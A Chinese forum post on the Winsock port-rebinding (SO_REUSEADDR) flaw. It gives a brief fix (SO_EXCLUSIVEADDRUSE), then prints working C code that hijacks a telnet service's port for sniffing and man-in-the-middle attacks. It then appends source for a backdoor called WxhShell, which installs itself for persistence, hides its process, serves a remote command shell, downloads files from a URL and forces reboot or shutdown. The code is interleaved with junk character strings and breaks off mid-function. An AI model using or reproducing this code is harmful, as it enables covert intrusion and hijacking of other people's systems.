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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^na8d's:  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); m# y`  
_cPGS=Ew  
  saddr.sin_family = AF_INET; 2stBW5v3  
((KNOa5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); bm/pLC6%.  
cyYsz'i m  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); XS:W{tL!  
X}"Ic@8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 `N<6)MX3>g  
J-iFA KN  
  这意味着什么?意味着可以进行如下的攻击: ]x)^/ d  
$glt%a  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2AYV9egZ  
p@B/S(Xi  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) nE"##2X  
^d6}rtG  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 YY{0WWua  
>i&"{GZ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [/Q .MmnL  
^(}D  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 bcx,K b  
:mP%qG9U  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }~B@Z\`O  
h?t#ABsVK  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~nQ=iB  
K<k!sh   
  #include dyH<D5  
  #include ~H<oqk:O-  
  #include qW~Z#Si  
  #include    >WYiOXYv  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6t zUp/O  
  int main() 8bf_W3  
  { qDSZ:36  
  WORD wVersionRequested; ENx1)]  
  DWORD ret; C8^h`B9z&I  
  WSADATA wsaData; r'|Vz*/h  
  BOOL val; d6(R-k#B  
  SOCKADDR_IN saddr; ^Om0~)"q  
  SOCKADDR_IN scaddr; F_ ^)zss  
  int err; 0`WjM2So  
  SOCKET s; tO?NbWcp  
  SOCKET sc; 6YErF|  
  int caddsize; 8|]r>L$Wk  
  HANDLE mt; o7 :~C]  
  DWORD tid;   RN, 5>.w  
  wVersionRequested = MAKEWORD( 2, 2 ); 8>R 75 dw  
  err = WSAStartup( wVersionRequested, &wsaData ); gKPqWh  
  if ( err != 0 ) { uUhqj.::<Y  
  printf("error!WSAStartup failed!\n"); 6[.#B!;9  
  return -1;  f$7Xh~  
  } cd&^ vQL8  
  saddr.sin_family = AF_INET; 8m prK`p  
   W;Pdbf"  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3VI[*b  
S['rfD>9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); B|\JGnNQ  
  saddr.sin_port = htons(23); m8jQ~OS  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]VKM3[   
  { tfKf*Um  
  printf("error!socket failed!\n"); LqYP0%7  
  return -1; wOMrUWB0  
  } Tasmbo^mAF  
  val = TRUE; 95XQ?%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 w}20l F  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) h+\+9^l6|  
  { g36:OK"  
  printf("error!setsockopt failed!\n"); W?>C$_p C  
  return -1; wo#,c(  
  } v[7iWBqJ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; KF.O>c87&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 lRk)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 g)3HVAT  
,H)v+lI  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) k^H&IS!  
  { thU9s%,  
  ret=GetLastError(); =00c1v  
  printf("error!bind failed!\n"); ^y,Ex;6o  
  return -1; Za110oF  
  } ~M c'~:{O  
  listen(s,2); ]NEr]sc-"F  
  while(1) cD%_+@GaU  
  { S|jE1v"L  
  caddsize = sizeof(scaddr); L2sUh+'|  
  //接受连接请求 a<NZC  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Y:?cWO  
  if(sc!=INVALID_SOCKET) \4`:~c  
  { 5wE+p<-KX  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); JI3x^[(Z  
  if(mt==NULL) ron-v"!  
  { %#jW  
  printf("Thread Creat Failed!\n"); x]Pp|rHj  
  break; > eC>sTPQ{  
  } \PzJ66DL!  
  } *HONA>u   
  CloseHandle(mt); UR|Au'iu  
  } {}n]\zO %  
  closesocket(s); 3>'TYXs-  
  WSACleanup(); W?:e4:Q  
  return 0; /g]NC?  
  }   Bs3M7z RG  
  DWORD WINAPI ClientThread(LPVOID lpParam) j&N {j_ M  
  { im&Nkk4n@  
  SOCKET ss = (SOCKET)lpParam; )ep1`n-  
  SOCKET sc; ymW? <\AD,  
  unsigned char buf[4096]; u*S-Pji,x  
  SOCKADDR_IN saddr; /'l"Us},^!  
  long num; T Ob(  
  DWORD val; sd5)We  
  DWORD ret; +^cjdH*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 j[RY  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   h(/& ;\Cr  
  saddr.sin_family = AF_INET; D#k ~lEPub  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); u~~H'*EM  
  saddr.sin_port = htons(23); ;Tec)Fl  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v,L@nlD]  
  { T!jMh-8  
  printf("error!socket failed!\n"); 3sK^ (  
  return -1; dFl8'D  
  } uqsVq0H  
  val = 100; b[2 #t  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3Fg{?C_l  
  { W9G1wU  
  ret = GetLastError(); E)iX`Xq|0{  
  return -1; xG1(vn83gq  
  } ZVyJ%"(E  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) s/0bXM$^  
  { xFzaVjjP  
  ret = GetLastError(); q&kG>  
  return -1; eyzXHS*s;L  
  } W,5_i7vr  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =x@v{cP  
  { m7|S'{+!  
  printf("error!socket connect failed!\n"); +Ym#!"  
  closesocket(sc); E*vh<C  
  closesocket(ss); |%g)H,6c  
  return -1; ]p@q.P  
  } )B9/P>c  
  while(1) ^ AJ_  
  { +7 mUX  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ELZ@0,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @x@wo9<Fc  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Y M,UM>  
  num = recv(ss,buf,4096,0); bcYGkvGbO  
  if(num>0) _)Ad%LPsd7  
  send(sc,buf,num,0); ^Z+p_;J$p  
  else if(num==0) w y&yK*w  
  break; GO UO  
  num = recv(sc,buf,4096,0); " V4@nv  
  if(num>0) N5 b^  
  send(ss,buf,num,0); 'x,6t66*"l  
  else if(num==0) hiEosI C  
  break; 5p>rQq0  
  } ;--p/h*.  
  closesocket(ss); Hbl&)!I  
  closesocket(sc); 0O?\0k;o  
  return 0 ; #('GGzL6c  
  } tI<6TE'!p#  
N *,[(q  
m>^vr7  
========================================================== G2dPm}sZG  
nH}V:C  
下边附上一个代码,,WXhSHELL (7C$'T-ZK  
@GWlo\rM6^  
========================================================== TPA*z9n+B  
[M2xF<r6t  
#include "stdafx.h" |F +n7  
_LFABG=  
#include <stdio.h> i8!err._  
#include <string.h> XZ"oOE0=  
#include <windows.h> TMD*-wYr  
#include <winsock2.h> uBw[|,yn2*  
#include <winsvc.h> c27Zh=;Tj  
#include <urlmon.h> c1xX)cF  
}Xb|Ur43  
#pragma comment (lib, "Ws2_32.lib") l% p4.CX  
#pragma comment (lib, "urlmon.lib") N>w+YFM  
e> Dux  
#define MAX_USER   100 // 最大客户端连接数 E%?> %h  
#define BUF_SOCK   200 // sock buffer Xdh@ ^`  
#define KEY_BUFF   255 // 输入 buffer ;;N#'.xD  
+4F; m_G6  
#define REBOOT     0   // 重启 _^D-nk?  
#define SHUTDOWN   1   // 关机 rX22%~1  
LX}|%- iv  
#define DEF_PORT   5000 // 监听端口 y*E{X  
G_}oI|B  
#define REG_LEN     16   // 注册表键长度 44pVZ5c  
#define SVC_LEN     80   // NT服务名长度 `_x#`%!#2  
mr,G H x  
// 从dll定义API +hcJ!$J7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +I@2,T(eG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E(*S]Z[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); & j*Ylj}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {KSy I#  
1ZXRH;J40  
// wxhshell配置信息 PHMp, z8  
struct WSCFG { !1mAq+q!  
  int ws_port;         // 监听端口 . |`)k  
  char ws_passstr[REG_LEN]; // 口令 p2gu@!   
  int ws_autoins;       // 安装标记, 1=yes 0=no 0zk054F'  
  char ws_regname[REG_LEN]; // 注册表键名 H'I5LYsXO~  
  char ws_svcname[REG_LEN]; // 服务名 hVdGxT]6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }tJMnq/m($  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 orFB*{/Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z ZT2c0AK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ch]q:o4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <bJ~Ol  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 X7SSTcA   
GS*_m4.Ry6  
}; b/4gs62{k  
N6v*X+4JH  
// default Wxhshell configuration y2PxC. -  
struct WSCFG wscfg={DEF_PORT, &zPM# Q  
    "xuhuanlingzhe", u1|v3/Q-  
    1, 9y*(SDF  
    "Wxhshell", {JM3drnw  
    "Wxhshell", `F~Fb S  
            "WxhShell Service", <)+;Bg  
    "Wrsky Windows CmdShell Service", (kx>\FIK*  
    "Please Input Your Password: ", f5R%F ~  
  1, &<) _7?  
  "http://www.wrsky.com/wxhshell.exe", wKJK!P  
  "Wxhshell.exe" fN 1:'d  
    }; 9Dyw4'W.N  
NM1TFs2Y*  
// 消息定义模块 :~p_(rE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6wb M$|yFj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; nTsPX Tat  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; p+2uK|T9  
char *msg_ws_ext="\n\rExit."; Y'y$k  
char *msg_ws_end="\n\rQuit."; &# @"^(} 6  
char *msg_ws_boot="\n\rReboot..."; ,88%eX|  
char *msg_ws_poff="\n\rShutdown..."; P d(n|t3[8  
char *msg_ws_down="\n\rSave to "; YGi_7fTyc=  
F|&mxsL  
char *msg_ws_err="\n\rErr!"; M+4S>Sjw  
char *msg_ws_ok="\n\rOK!"; mN#&NA  
K4^B~0~  
char ExeFile[MAX_PATH]; ?hW(5]p|  
int nUser = 0; '=IuwCB|;  
HANDLE handles[MAX_USER]; G+iJS!=  
int OsIsNt; B,Jn.YX  
l4OPzNc'  
SERVICE_STATUS       serviceStatus; *}LQZFrnX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _K~?{".  
b{ W ,wn  
// 函数声明 +@PZ3 [s  
int Install(void); K=2j}IPe  
int Uninstall(void); }80n5 X<9  
int DownloadFile(char *sURL, SOCKET wsh); 6uFGq)4p@  
int Boot(int flag); &HJ~\6r\  
void HideProc(void); JM*rPzp  
int GetOsVer(void); *JaFt@ x  
int Wxhshell(SOCKET wsl); C,u;l~zz  
void TalkWithClient(void *cs); .|K\1qGW0  
int CmdShell(SOCKET sock);  uMBb=   
int StartFromService(void); *1}vn%wvn  
int StartWxhshell(LPSTR lpCmdLine); ^N~Jm&I  
:wJ!rn,4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); SHC VjI6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T f^O(  
16I(S  
// 数据结构和表定义 B^1Io9  
SERVICE_TABLE_ENTRY DispatchTable[] = GF Rd:e  
{ ||?wRMV  
{wscfg.ws_svcname, NTServiceMain}, OL[_2m*;9p  
{NULL, NULL} q{.~=~  
}; %;G!gJeE  
yNQ 9~P2  
// 自我安装 N?Ss/by8Sg  
int Install(void) Os1y8ui  
{ `RE1q)o}8M  
  char svExeFile[MAX_PATH]; dGc>EZSdj  
  HKEY key; 5xG/>f n  
  strcpy(svExeFile,ExeFile); !Jo.Un7  
*Xd_=@L&B  
// 如果是win9x系统,修改注册表设为自启动 O0"&wvR+5  
if(!OsIsNt) { i)e)FhEY6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O11.wLNH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v aaZ  
  RegCloseKey(key); upH%-)%'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0M>%1 *  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lc0ZfC  
  RegCloseKey(key); dnTXx*I:  
  return 0; ?rV c}  
    } 7h/{F({r=  
  } o=(>#iVM  
} [ \Aor[(  
else { Z8Clm:S  
AwL;-|X  
// 如果是NT以上系统,安装为系统服务 3!B3C(g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HjN )~<j  
if (schSCManager!=0) 6_a.`ehtj<  
{ 5(OF~mX#  
  SC_HANDLE schService = CreateService ~ .Eln+N  
  ( |m7`:~ow  
  schSCManager, :hxZ2O?5_  
  wscfg.ws_svcname, @)8C  
  wscfg.ws_svcdisp, h-h}NCP  
  SERVICE_ALL_ACCESS, Jh:-<xy)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E0S[TEDa]  
  SERVICE_AUTO_START, sw &sF  
  SERVICE_ERROR_NORMAL, R:JS)>B  
  svExeFile, ( ]o6Pi  
  NULL, dUJNr_  
  NULL, k07) g:_  
  NULL, VbX$i!>8  
  NULL, _E[{7 "3}  
  NULL >Y< y]vM:  
  ); ?0Ca-T Rz  
  if (schService!=0) !ZV#~t:)  
  { O"9f^y*  
  CloseServiceHandle(schService); Z_Ma|V?6  
  CloseServiceHandle(schSCManager); +e"}"]n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9Au+mIN  
  strcat(svExeFile,wscfg.ws_svcname); i]LK,'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \9k{"4jX\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Xl*-A|:j  
  RegCloseKey(key); ig/716r|  
  return 0; ikRIL2Y  
    } |,&!Q$<un  
  } RN:#+S(8  
  CloseServiceHandle(schSCManager); *id|za|:k  
} {UZli[W1  
} h?YjG^'9  
TJ5{Ee GV  
return 1; emS+%6U  
} k*c:%vC!  
[I4FU7mpH  
// 自我卸载 MgMLfgt"V  
int Uninstall(void) 7<^D7  
{ KwQO,($,]  
  HKEY key; )SUN+YV^  
Q84KU8?d  
if(!OsIsNt) { W{m0z+N[B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N<>dg  
  RegDeleteValue(key,wscfg.ws_regname); _ zmx  
  RegCloseKey(key); d8RpL{9\7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p go\(K0  
  RegDeleteValue(key,wscfg.ws_regname); 8rp-Xi W  
  RegCloseKey(key); = xX^  
  return 0; BK d(  
  } j*:pW;)^  
} n"K7@[d  
} EShakV  
else { S s`0;D1  
e<^4F%jSK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); kyo ,yD  
if (schSCManager!=0) V!U[N.&$  
{ lIFU7g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A^p $~e\)  
  if (schService!=0) wD,F=O  
  { WNYLQ=;  
  if(DeleteService(schService)!=0) { }C&c=3V  
  CloseServiceHandle(schService); 8rpN2M 3h  
  CloseServiceHandle(schSCManager); l*m|b""].u  
  return 0; P/PS(`  
  } (&nl}_`7?,  
  CloseServiceHandle(schService); S~Hj. d4/  
  } rzBWk  
  CloseServiceHandle(schSCManager); !3&vgvr  
} "&+0jfLY+  
} (P>vI'  
+%Gm2e;_u  
return 1; gwYd4  
} F_Pd\Aq8  
t@HE.h  
// 从指定url下载文件 anwn!Eqk"  
int DownloadFile(char *sURL, SOCKET wsh) 7z,M`14  
{ hB+ t pa  
  HRESULT hr; r#}Sy \  
char seps[]= "/"; YaT07X.(b  
char *token; 5UM[Iz  
char *file; 5,((JxX$  
char myURL[MAX_PATH]; H= y-Y_R  
char myFILE[MAX_PATH]; Le'\x`B  
r4lG 5dV  
strcpy(myURL,sURL); |5/[0V-vy  
  token=strtok(myURL,seps); sq^"bLw  
  while(token!=NULL) M#>GU<4"  
  { } R/  
    file=token; W[m_IY  
  token=strtok(NULL,seps); O&s6blD11  
  } X>6a@$MxP  
_# F'rl6'  
GetCurrentDirectory(MAX_PATH,myFILE); z} \9/`  
strcat(myFILE, "\\"); rN~`4mZ  
strcat(myFILE, file); By_Ui6:D  
  send(wsh,myFILE,strlen(myFILE),0);  e.GzGX  
send(wsh,"...",3,0); D{l((t3=T  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yW&i Uh=0  
  if(hr==S_OK) uSQ*/h-<)0  
return 0; s?E:]  
else X m3t xp#  
return 1; !T{g& f  
Z%R%D*f@y  
} <<1oc{i  
=KZ4:d5  
// 系统电源模块 Vel;t<1  
int Boot(int flag) u@E M,o  
{ PS22$_}   
  HANDLE hToken; ("oA{:@d  
  TOKEN_PRIVILEGES tkp; 0R]CI  
bsr y([N>w  
  if(OsIsNt) { XL3h ; $,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z&0V21"l  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z>:7}=H0  
    tkp.PrivilegeCount = 1; <X |h *  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t_rDXhM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c" 7pf T  
if(flag==REBOOT) { gsp 7N  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) OQQ9R?Ll{  
  return 0; k#(cZ  
} 8TPm[r]  
else { KIFx &A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]EnaZWyO]  
  return 0; PpRO7(<cD  
} o4;Nb|kk9+  
  } dE]"^O#Mc  
  else { >nDnb4 'C  
if(flag==REBOOT) { ,]mwk~HeF  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Fzs'@*  
  return 0; Fc~w`~tv  
} H=#Jg;_w  
else { 1znV>PO!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2>k)=hl:  
  return 0; R6XMBYK^  
} m4wTg 8LJ  
} C#&6p0U  
u&xK>7  
return 1; ([-=NT}Aq  
} o z{j2%  
syf"{bBe  
// win9x进程隐藏模块 61/zrMPn  
void HideProc(void) 8!GLw-kb  
{ H| U/tU-  
..!-)q'?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Wt fOE@h  
  if ( hKernel != NULL ) jPNfLwVkl:  
  { N08n/u&cr,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P{!:pxu[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *h:EE6|  
    FreeLibrary(hKernel); q'U5QyuC  
  } mN 6`8 [  
}%ThnFFBw  
return; eF^"{a3b  
} 0s""%MhFI  
t1{}-JlA  
// 获取操作系统版本 v|(b,J3  
int GetOsVer(void) O + & xb  
{ !(K{*7|h  
  OSVERSIONINFO winfo; b6vYM_ Q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -0 da"AB  
  GetVersionEx(&winfo); oB R(7U ~0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  MK"  
  return 1; Zw][c7%  
  else x,gE$dNzy  
  return 0; sC_UalOC_  
} /2Lo{v=0[  
JlQT5k  
// 客户端句柄模块 ~<- ci  
int Wxhshell(SOCKET wsl) !muYn-4M  
{ >Ryss@o  
  SOCKET wsh; v-fi9$#^  
  struct sockaddr_in client; o`mIi  
  DWORD myID; hO.G'q$V  
qd~98FS  
  while(nUser<MAX_USER) F ssEs!#  
{ #pQ"+X  
  int nSize=sizeof(client); Df~p 'N-$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (Q8 ?)  
  if(wsh==INVALID_SOCKET) return 1; |p -R9A*>h  
OsL%SKs|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Vnj/>e3  
if(handles[nUser]==0) *X l<aNNx  
  closesocket(wsh); }FiN 7#  
else ,i?!3oLT  
  nUser++; #2R%H.*t  
  } h<1dTl*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z#6~N/b  
C%_  
  return 0;  AY'?Xt  
} ,&&M|,NQ&s  
ob0 8xGj  
// 关闭 socket V<2fPDZ  
void CloseIt(SOCKET wsh) w;@25= |  
{ /rxltF3  
closesocket(wsh); Wt9iL  
nUser--; (:-Jl"&R@  
ExitThread(0); #C1A5JE&  
} ,r 2VP\hLh  
V.Ba''E7  
// 客户端请求句柄 ]vQ?]d?>a  
void TalkWithClient(void *cs) $7n#\h  
{ (vAv^A*i}  
|1+(Ny.%k  
  SOCKET wsh=(SOCKET)cs; r7"Au"  
  char pwd[SVC_LEN]; dH2]ZE0V  
  char cmd[KEY_BUFF]; gO:Z6}3vM  
char chr[1]; 'uf2 nUo  
int i,j; sh(kRrdY3  
*rn]/w8ZW  
  while (nUser < MAX_USER) { }d~wDg<#  
'"w}gx  
if(wscfg.ws_passstr) { c@9Z&2)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x, Vh  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @?3vRs}h  
  //ZeroMemory(pwd,KEY_BUFF); KT];SF ^Y  
      i=0; ]bN&5.|  
  while(i<SVC_LEN) { ,t%CK!8  
?S@R~y0K  
  // 设置超时 P,/13tZ#3  
  fd_set FdRead; } }f_  
  struct timeval TimeOut; m c\ C  
  FD_ZERO(&FdRead); 2#b<d?"  
  FD_SET(wsh,&FdRead); dT]L-uRZgy  
  TimeOut.tv_sec=8; !jAWNK6  
  TimeOut.tv_usec=0; S*CLt  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x\`RW 3 K  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |rxKCzjm  
mC:X4l]5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A3"1D  
  pwd=chr[0]; umm\r&]A  
  if(chr[0]==0xd || chr[0]==0xa) { *"ykTqa  
  pwd=0; L8:]`M Q0  
  break; chO'Q+pw  
  } hg&w=l  
  i++; 4\1wyN /}M  
    } b ~/Wnp5  
AJ\VY;m7F  
  // 如果是非法用户,关闭 socket (L y%{ Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i<#h]o C}  
}  nOoKGT  
i$[,-4 v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a: yB%:2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XhE$&Ff  
>G<\1R  
while(1) { N a. nA  
KP=D! l&q  
  ZeroMemory(cmd,KEY_BUFF); t&R!5^R  
m|[\F#+C  
      // 自动支持客户端 telnet标准   nY{i>Y  
  j=0; Lf^5Eo/ 5A  
  while(j<KEY_BUFF) { (Bt;DM#>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .'5'0lR5  
  cmd[j]=chr[0]; |"CJ  
  if(chr[0]==0xa || chr[0]==0xd) { AZxrJ2G  
  cmd[j]=0; NV8]#b  
  break; [|a( y6Q  
  } uX<+hG.n}  
  j++; k;;nE o~6  
    } N<aB)</  
d&aBs++T  
  // 下载文件 #D`S  
  if(strstr(cmd,"http://")) { S)"##-~`T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); YKP=0 j3,  
  if(DownloadFile(cmd,wsh)) |?x^8e<*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7$+P|U  
  else >oft :7p  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e=gboR  
  } M5']sdR(l  
  else { c8#T:HM|`  
ZR/R'prW  
    switch(cmd[0]) { |x d@M-ln  
  9U2Px$E  
  // 帮助 M MAAHo  
  case '?': { gI)w^7Gi  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <K.Bq]  
    break; j6n2dMRvSE  
  } #"Fg%36Zd  
  // 安装 99F>n[5  
  case 'i': { 4@DVc7\x$  
    if(Install()) oy2(Ag\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T(Y}V[0+  
    else [urH a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )UR1E?'  
    break; `]K,'i{R  
    } 0SJ{@*  
  // 卸载 =a?a@+  
  case 'r': { m9#}X_&x  
    if(Uninstall()) X,>(Y8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U:qF/%w  
    else d4d\0[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &}zRH}s;  
    break; b\1+kB/8  
    } n<{aPLQ  
  // 显示 wxhshell 所在路径 &nQRa?3,   
  case 'p': { mYjf5  
    char svExeFile[MAX_PATH]; 5\VxXiy 0  
    strcpy(svExeFile,"\n\r"); %z1{Kus  
      strcat(svExeFile,ExeFile); z8b _ _%Br  
        send(wsh,svExeFile,strlen(svExeFile),0); S&n[4*  
    break; q z=yMIy=  
    } b![t6-f^z  
  // 重启 U8YO0}_z  
  case 'b': { HKpD 2M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PdR >;$1  
    if(Boot(REBOOT)) Qqp)@uM^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PT mf  
    else { >P(eW7RL  
    closesocket(wsh); :OHSxb>[  
    ExitThread(0); -dl}_   
    } 0[lS(K  
    break; ?^U c=  
    } BApa^j\?  
  // 关机 ]X*YAPv  
  case 'd': { #xlZU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /[0F6  
    if(Boot(SHUTDOWN)) gC0;2  
